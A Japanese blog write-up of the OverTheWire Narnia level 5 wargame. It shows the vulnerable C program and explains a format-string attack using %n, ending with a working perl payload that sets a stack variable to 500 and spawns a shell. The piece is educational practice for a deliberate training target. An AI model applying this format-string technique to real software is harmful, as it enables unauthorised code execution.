OverTheWire:Narnia5

narnia5 で ssh 接続。
ssh narnia4@narnia.labs.overthewire.org -p 2226

今回のお題(narnia5.c )はこちら。
argv[1]の入力を工夫して、変数 i の値を 500 に書き換えればシェルを起動してくれる、というもの。

int main(int argc, char **argv){
	int i = 1;
	char buffer[64];
	snprintf(buffer, sizeof buffer, argv[1]);
	buffer[sizeof (buffer) - 1] = 0;
	printf("Change i's value from 1 -> 500. ");
	if(i==500){
		printf("GOOD\n");
       setreuid(geteuid(),geteuid());
		system("/bin/sh");
	}
	printf("No way...let me give you a hint!\n");
	printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
	printf ("i = %d (%p)\n", i, &i);
	return 0;
}

 snprintf(buffer, sizeof buffer, argv[1]); の部分がこのプログラムの脆弱性である。buffer に "%p や %n " などの書式指定文字列を入力することで、「argv[1]から64バイト buffer にコピーする」という本来の意図とは違う動作を引き起こしてしまう。

画像1

というわけで、書式指定文字列をうまく入力して、変数 i が格納されたメモリの内容を書き換えることを考える。

printf() の書式指定文字列には %n があり、出力した文字数を指定したメモリアドレスに書き込んでくれる。
つまり [変数 i のアドレス(4バイト) ] + "%n"  を入力すれば、変数 i は 4になるはず。。

実際にやってみると予想通り、変数 i を 4 に書き換えることができた。

画像2

同じ要領で [ 先頭に何文字か表示+変数iのアドレス] + "%n" を入力すれば、変数 i を 500に書き換えることができる。

少し考えて、下記のようなコマンドを入力するとうまくいった。"AAAA"はダミーで %n の手前に何文字か表示させるために必要になる。

<コマンド>
/narnia/narnia5 $(perl -e 'print "AAAA" . "\xd0\xd6\xff\xff%492x%n"')

画像3

これで次のステージのパスワードを読むことができる。

画像4

というわけで、次のステージへ。。

この記事が気に入ったらサポートをしてみませんか?